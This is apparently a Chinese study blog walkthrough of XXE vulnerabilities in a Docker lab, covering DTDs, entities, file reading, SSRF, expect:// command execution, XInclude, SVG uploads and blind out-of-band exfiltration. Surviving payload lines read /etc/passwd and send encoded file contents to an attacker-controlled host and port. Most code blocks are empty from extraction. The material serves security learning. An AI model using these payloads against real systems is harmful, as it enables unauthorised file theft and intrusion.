XXE漏洞学习
XXE靶场环境搭建
项目地址:https://github.com/mcc0624/XXE
1 | |
利用命令下载项目文件,或者直接访问网站下载压缩包,解压后进入目录后利用docker-compose命令搭建环境
1 | |


XML语言
什么是XML
XML是一种标记语言
把数据结构化后(比如Excel表格)传输给对方,让对方在结构化的数据中进行读取
标签没有被预定义,需要自行定义标签
如下图是一段XML语言,存在根、枝、叶这三个概念,在下图中根是
<root>,枝是<man>、叶是<name>、<age>、<name age>- 格式就是
1
2
3
4
5<根>
<枝>
<叶></叶>
</枝>
</根>注意虽然是叫根,但不代表一定是写成
<root>的,这个的名字是随便起的,这个标签是没有意义的,不同于 HTML 中的有意义的标签
例子:
- 根节点:学生信息列表
- 枝节点:学生
- 叶节点:名字、年龄、学号
1
2
3
4
5
6
7
8
9
10
11
12
13<?xml version="1.0" encoding="utf-8"?>
<学生信息列表>
<学生>
<名字>张三</名字>
<年龄>19</年龄>
<学号>20240420001</学号>
</学生>
<学生>
<名字>李四</名字>
<年龄>20</年龄>
<学号>20240420002</学号>
</学生>
</学生信息列表>
XML和HTML的区别
| XML | HTML |
|---|---|
| 功能:数据传输读取 | 功能:开发 |
| 标签无意义 | 标签预定义 |
| 传输和存储数据 | 显示数据 |
- HTML的标签有功能性:如h1/h2可以影响字体的大小
1 | |

- XML的标签没有这种功能,标签可以随便写
1 | |

XML基本语法
XML的标签没有功能性,可以随便写,没有预定义的
<名字>张三</名字>1
2
3
4
5
- **所有的XML标签必须关闭**
- ```
<h1>test</h1>
XML必须正确地嵌套,嵌套要严格按照顺序
错误示范: <h1><h2>test</h1></h2>1
2
3
4
5
6
7

- ```xml
正确示范:
<h1><h2>test</h2></h1>
XML标签对大小写敏感
<Message>这是错误的</message>1
2
3
4
5

- ```xml
<message>这是正确的</message>
XML文档必须有根元素:根元素是其他所有元素的父元素
错误示范: <root>root</root> <根元素>根元素</根元素>1
2
3
4
5
6
7
8
9
10

- ```xml
正确示范:
注:再次强调这里的根元素不一定非要写成<root>,它可以随意定义
<root>
<根元素>根元素</根元素>
</root>
XML没有缩进要求
- 在渗透测试时建议是不换行,写成一行
头声明可有可无
<?xml version="1.0" encoding="ISO-8859-1"?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- 第一行是 XML 声明,定义了 XML 的版本(1.0)和所使用的编码(ISO-8859-1 = Latin-1/西欧字符集)
- 在渗透安全中,具体还是看提交时它本来带不带,保持一致即可
- **实体引用**
- 在 XML 中,一些字符拥有特殊的意义
- 如:把字符`<`放在 XML 元素中,会发生错误,因为解析器会把它当作新元素的开始
- ```
错误示范:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<man>1<2</man>
</root>在 XML 中,有 5 个预定义的实体引用:
实体字符 原始字符 字符含义 <<大于 >>小于 &&和号 &apos‘单引号 "“引号 注:在 XML 中,只有字符
<和&确实是非法的,大于号>是合法的,但是用实体引用来代替它是个好习惯正确示范: <?xml version="1.0" encoding="UTF-8"?> <root> <man>1<2</man> </root>1
2
3
4
5
6
7
8
9
10
11
12

# 使用PHP解析XML
## 使用simplexml_load_file()函数读取XML文档
```php
<?php
$xml = simplexml_load_file("student.xml");
print_r($xml);
?>
simplexml_load_file()函数把 XML 文档载入对象中print_r打印显示变量$xml

这里读取到的就是一个Object对象,里面有个数组,有两个内容0和1,分别对应一个Object对象,其中有两个成员属性:name、age
可以调用读取到程咬金的名字,利用面向对象的知识
1 | |

调用读取到赵云的年龄
1 | |

使用DOMDocument读取XML文档
数据通常以 POST 方式把字符串提交进去,以 XML 结构提交给目标网站,再通过 PHP 伪协议读取内容,进行 XML 解析
student.xml内容:
1 | |
index.php内容:
1 | |
DOMDocument()是一个类,需要先实例化为对象,然后可以使用其中的loadXML()方法加载XML内容,利用saveXML()方法将其转化为 XML 格式的字符串返回


index.php的代码还可以简写成直接使用load()方法加载student.xml的XML内容到DOM对象中,再使用saveXML()转化为XML格式的字符串
1 | |


然后是具体读取程咬金名字
1 | |
getElementsByTagName("name"):获取 XML 文档中所有名为<name>的标签,返回一个DOMNodeList集合item(0):获取集合中的第一个元素(索引从 0 开始)nodeValue:获取该节点(标签)包含的文本内容

还可以混合使用读取
1 | |

1 | |

DTD声明
什么是DTD
DTD 全称 Document Type Definition(文档类型定义),可定义合法的 XML 文档构建模块,使用一系列合法的元素来定义文档的结构
在 XML 中可以自定义标记,DTD 用来定义我们自己定义的、标记的含义,我们自己定义元素的相关属性的文档,规定、约束 XML 规则的定义和陈述
DTD 可被成行地声明于 XML 文档中,也可以作为外部引用
内部地 DOCTYPE 声明
没有 DTD 时 XML 文件可以随意定义添加标签
DOCTYPE 用来约束 XML 规则,格式:
1 | |
举例:
1 | |
!DOCTYPE定义约束!ELEMENT定义元素root下面只能有man一个子节点man下面只能有name,age,high#PCDATA表明name、age、high下面只能是字符串

其他的:
!ATTLIST定义元素的属性!NOTATION定义不被解释为元素或属性的符号!ENTITY定义实体,这些实体可以在 XML 文档中被引用
如果有个没有定义的标签<sex>,会发现出现爆红了

不过可以访问看到

外部引用DTD文件
创建一个1.dtd文件
1 | |
student.xml内容:
1 | |
可以写相对路径,也可以是绝对路径,可以发现<sex>women</sex>是爆红了的

但是是可以正常访问看到

SYSTEM不仅可以读取 DTD 声明,也可以读取到其他外部文件(如:/etc/passwd),就是在有权限的情况下可以任意文件读取,这是 XXE 漏洞产生的主要原因
XML实体
什么是实体
实体是对数据的引用,根据实体种类的不同,XML 解释器将使用实体的替代文本或者外部文档的内容来替代实体引用
使用实体可以去掉符号的含义
实体类别有:字符实体、命名实体、外部实体、参数实体
所有的实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束
**字符实体:**约定俗成的符号如
<、>、&、&apos、"等**命名实体:**可以理解为给一个变量赋值,如
<!ENTITY writer "benben"><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE author [ <!ELEMENT author (#PCDATA)> <!ENTITY writer "benben"> ]> <author>&writer;</author>1
2
3
4
5
6
7
8
9
10
11
12
13
14
- 
- 可以迭代调用,引用实体的实体:
- ```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY writer "benben">
<!ENTITY copyright "&writer;">
]>
<author>©right;</author>
**外部实体:**XXE 漏洞产生的主要原因,外部调用文件
**参数实体:**参数实体的目的是能够创建替换文本的可重用部分(无回显 XXE 时会用到)
原本的代码:
<!DOCTYPE author [ <!ELEMENT residence (name, street, pincode, city, phone)> <!ELEMENT apartment (name, street, pincode, city, phone)> <!ELEMENT office (name, street, pincode, city, phone)> <!ELEMENT shop (name, street, pincode, city, phone)> ]>1
2
3
4
5
6
7
8
9
10
11
- 使用参数实体可以便捷:
- ```xml
<!DOCTYPE author [
<!ENTITY % area "name, street, pincode, city, phone">
<!ELEMENT residence (%area;)>
<!ELEMENT apartment (%area;)>
<!ELEMENT office (%area;)>
<!ELEMENT shop (%area;)>
]>%强调这是参数实体,用% ;调用,且只能在 DTD 被引用
XXE漏洞成因
XXE(XML External Injection)全程为 XML 外部实体注入
外部实体,用来引入外部资源:实体来自 SYSTEM 本地资源 PUBLIC 公共计算机
DTD(Document Type Definition)文档类型定义用于定义 XML 文档的结构
漏洞示例
1 | |
利用bp抓包,请求方法改为 POST,请求头Content-Type改为application/xml;charset=utf-8

1 | |
注意构造payload的时候尽量不要用换行符

根节点可以随便构造,不一定是<root>,但是枝节点一定是<admin>

根节点名可以随便换

枝节点只能是admin,因为看源码中$benben = $creds->admin;读取的就是admin这个节点
调用外部实体和file伪协议可以读取内部文件
1 | |

不同程序中的XML
不同程序支持的协议不同
| LIBXML2 | PHP | JAVA | NET |
|---|---|---|---|
| file | file | file | file |
| http | http | http | http |
| ftp | ftp | https | https |
| php | ftp | ftp | |
| compree.Zlib | jar | ||
| compree.bzip2 | netdoc | ||
| data | mailto | ||
| glob | gopher | ||
| phar |
XXE使用外部实体读取文件
利用XXE使用外部实体检索文件
1 | |
靶场演示
如一个登录界面,随便输入错误的用户名和密码是admin 登录失败

输入正确的用户名admin和密码admin会显示admin 登录成功

注意登录成功和登录失败的回显都是带有用户名的
判断是否可能存在XXE漏洞
1. 查看网页源代码
很容易可以看出是提交的是 XML 格式

1 | |
提交的格式就是:
1 | |
2. 使用bp抓包
一眼就可以看出是提交的 XML 格式

这里回复的就是code和用户名username,这里就存在 XXE 漏洞了
测试是否可能存在XXE漏洞
构造payload
1 | |

看到可以利用引用外部实体读取到内部文件,就是存在 XXE 漏洞了
漏洞利用过程
1 | |
数据提交给web服务器后,web服务器会解析提交的 XML 语句,会发现其中有 DTD 声明,然后会发现是个外部实体,然后就会通过 SYSTEM 指定的外部实体去读取文件,读取到文件后会将文件内容复制到命名的实体ben中,在调用是就使用&ben;获取到回显

参数实体及HTTP协议的XXE利用
利用参数实体及外部实体读取文件
在该靶场中对提交的数据内容进行检测,像file://这样的伪协议的就不可以出现,如果依旧利用上面的payload就会报非法输入

可以尝试利用命名实体读文件,但是命名实体只能在 DTD 文档内
思路就是既然不能使用file://伪协议,那就使用http://伪协议,去到第三方主机的web服务下载构造的1.dtd文件,将其赋值给参数实体
这就需要三台主机,在原本我们的attacker攻击机和 XXE 靶机这两个主机的基础上在加一个主机,可以在这第三个主机上起一个web服务1.dtd,内容就是:
1 | |
然后构造的payload就是
1 | |
先通过 STYSTEM 和http://伪协议去读取到1.dtd文件中的内容,然后将其赋值给参数实体dazhuang,然后在 DTD 声明中调用一下这个参数实体,参数实体的值就是<!ENTITY ben SYSTEM "file:///etc/passwd">,最后触发ENTITY

利用kali搭建HTTP服务
将外部实体写入到1.dtd文件中
1 | |

开启http服务,查看 IP 地址
1 | |


1 | |

会发现1.dtd被访问下载了

在自己的VPS上也是一样,在/var/www/html目录下创建个1.dtd文件,内容是<!ENTITY ben SYSTEM "file:///etc/passwd">,然后去访问就行了
利用XXE进行SSRF利用
XXE 在 DTD 内可以调用 HTTP 协议 ==》 SSRF漏洞利用
SSRF攻击方式:借助主机A来发起 SSRF 攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

使用HTTP协议测试内网网站
在http://192.168.218.150/xxe03/xxe03/页面是存在 XXE 漏洞,还存在一个内网10.1.2.3,其存在RCE漏洞,但是不能被外网直接访问


就要通过存在XXE漏洞的页面去访问cmd主机
1 | |

可以通过GET传参cmd进行RCE
1 | |

然后就可以cat flag,中间的空格使用+或者%20代替
1 | |

XXE利用PHP伪协议读取文件
相比较file伪协议,PHP伪协议可以对读取出的文件进行数据编码
- 直接读取目标主机上的文件
- 使用SSRF读取目标主机上的文件的源码

1 | |

这里想要读取到index.php文件的源码,但是会发现读取不到,内容显示不出来
这就需要利用PHP伪协议对其源码进行base64编码就可以输出出来
1 | |


利用expect扩展进行命令执行
expect协议
**expect://:**处理交互式的流
由expect://封装协议打开的数据流PTY通过提供了对进程stdio、stdout和stderr的访问
expect://封装协议默认未开启,为了使用,必须靶机中安装有效的Expect扩展
file、php协议使用失败时,可以尝试expect://封装协议
以下字符会被拒绝,PHP的XML的解析器会出错,即使进行编码也是无法执行的
不过其中的空格还是可以绕过的:$IFS就可以绕过

靶场演示

这里不能使用file和php伪协议了,就要考虑使用expect封装协议
进行命令执行
1 | |

读文件
1 | |

无回显XXE带外数据
XXE漏洞利用过程:

如果无回显,收不到消息怎么办?
无回显XXE步骤
1. 验证XXE漏洞是否存在
DNSLog查看漏洞
插入DNS查询动作
通过HTTP协议去访问域名,从而让主机去尝试DNS解析这个域名,这样就会有DNS解析记录,所有可以根据能不能解析域名,从而判断目标主机是否存在XXE漏洞
这里的网站域名可以利用DNSLog网站,也可以用bp中的Collaborator模块(比DNSLog网站更好一些),直接点击复制到剪切板就行

DNSLog的原理时利用 DNS 协议的特性,将需要收集的信息编码成 DNS 查询请求,然后将请求发送到 DNS 服务器,最后通过 DNS 服务器的响应来获取信息
- 查看
DNSLog信息 - 接收 HTTP 请求数据带外内容

看正常打 XXE 的payload,是没有回显的
1 | |

所以要先判断是否存在 XXE 漏洞
payload
1 | |
定义参数实体file,并直接调用%file,执行http://协议,访问网站


发送请求,然后就可以在Collaborator中点击立即轮询,就可以看到是尝试去访问域名,对域名做了 DNS 解析,所以是存在 XXE 漏洞的
再写入一个benben
1 | |

开启HTTP服务监听端口
如果目标主机不能进行 DNS 解析的话,可以在自己的 VPS 上开启 HTTP 服务监听端口,抓取 HTTP 请求 GET 连接内容,如果可以抓取到,就代表目标主机是去访问了我的 VPS,存在 XXE 漏洞
先在 VPS 上开启个监听服务

然后构造payload去访问2333这个端口
1 | |

然后就会发现成功抓取到了GET请求

2. 带外数据
错误示范
构造payload
1 | |
定义两个参数实体,第一个参数实体就是去读取文件,第二个参数实体就是将读取到的文件内容发送出来,就是去访问一个网站,并后面跟着%file;,就是将读取到的内容发送给这个网站,这样看来似乎没毛病,但是会发现实际上执行后响应太快并没有任何反馈信息,说明 XML 语句没有执行成功


失败的原因就是:内部 DTD 禁止参数实体内再次调用参数实体
在上面构造的payload中,在第二个参数实体send中再次调用了定义的第一个参数实体file,这是不能调用的
正确示范
突破口:外部 DTD 可以重复调用参数实体,允许参数实体调用其他参数实体
这里就可以参考上面的 “参数实体及HTTP协议的XXE利用” 这部分的内容,逻辑如下

需要用到三个主机,依旧是在第三个主机上放一个1.dtd文件,内容是两段ENTITY
1 | |
- 带外的时候如果有换行符的情况下,就会出现换行符后面的内容不显示的情况,所以要使用
php://filter伪协议将所有内容进行编码后带外出来 %就是%,这里是将其包裹进去的,要写一个实体进去,才能被解析为百分号- 访问的网址就是第三个主机的IP,这里是用的kali,就是将
file读取到的内容利用GET发送到kali的2333端口

然后在kali上开启个监听服务

还有在kali开启个web页面


然后就是我们的攻击机发送的数据:
1 | |
这个payload的意思就是
- 先执行
remote这个参数实体,就是去http://192.168.218.150:8080/下载1.dtd文件,然后 DTD 文档就会变成:
1 | |
- 然后触发
int这个参数实体,就是将<!ENTITY % send SYSTEM 'http://192.168.218.150:2333/?p=%file;'>从一句话变成一段代码,这时 DTD 文档就会变成
1 | |
- 最后就是调用
send参数实体,在其中调用file参数实体,将其内容发送到监听的那个端口上 file参数实体的内容就是读取到的/etc/passwd这个文件的内容
发送请求


可以看到1.dtd文件被下载下来了,还有发送到2333端口的文件内容,base64解码即可

如果目标靶机可以进行DNS解析,就可以使用Collaborator
1.dtd内容:
1 | |
发送的POC:
1 | |

Xinclude
什么是Xinclude
XInclude是 XML 标准的一部分,用于在一个 XML 文档中包含另一个 XML 文档的内容。它类似于编程中的”引入”或”导入”功能,有助于更好地组织和重用 XML 内容。
主要用途:
- 内容重用:将通用内容放在单独文件中,在多个文档中引用
- 模块化管理:将大型 XML 文档拆分为多个小文件,便于维护
- 简化更新:修改被包含的文件,所有引用它的文档都会自动更新
文件包含可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性
xinclude可以包含一个 XML 文件,调用一个写好的 XML 文件
如:
page.xml文件内容
1 | |
就是调用templates目录下的footer.xml文件
footer.xml文件内容:
1 | |
最后page.xml内容就是
1 | |
Xinclude功能展示:

Xinclude与外部实体的区别
| 名称 | 区别 |
|---|---|
| 外部实体 | 无法成为一个成熟的独立的 XML 文档,因为它不允许独立的 XML 声明,也不允许 Doctype 声明,外部实体就相当于起个外号 |
Xinclude |
可以调用一个独立完整的 XML 内容,xinclude相当于一个日记本 |
Xinclude与PHP文件包含的区别
| 名称 | 区别 |
|---|---|
| PHP文件包含 | include直接调用函数:<?php include('file.php');?> |
Xinclude |
使用时前面需要做一个前缀声明(命名空间):<root xmlns:xi="http://www.w3.org/2003/XInclude"> |
安全风险

靶场演示

1 | |

使用SVG进行漏洞利用
什么是SVG
可缩放矢量图形(Scalable Vector Graphics,SVG)基于 XML 标记语言,用于描述二维的矢量图形
SVG 是一种图片格式
作为一个基于文本的开放网络标准,SVG 能够优雅而简介的渲染不同大小的图形,并和CSS、DOM、JavaScript 和 SMIL 等其他网络标准无缝衔接
本质上 SVG 相对于图像,就好比 HTML 相对于文本
SVG 图像及其相关行为被定义于 XML 文本文件中,这意味着可以对它们进行搜索、索引、编写脚本以及压缩。此外,这也意味着可以使用任何文本编辑器和绘图软件来创建和编辑它们
可以通过 SVG 文件进行 XXE 漏洞利用,从而读取对方文件
靶场演示

1 | |
- 首先是 XML 声明,版本是1.0,
standalone="yes"代表是一个独立的 XML 文档,没有外部 DTD 引用 - 然后做一个内部的 DTD 声明,去读取
flag.txt文件 - 接着是一个 SVG 的声明
- 可以通过更改
width="500px" height="100px"来调整文件大小从而可以读取到完整的内容
上传构造好的 SVG 文件
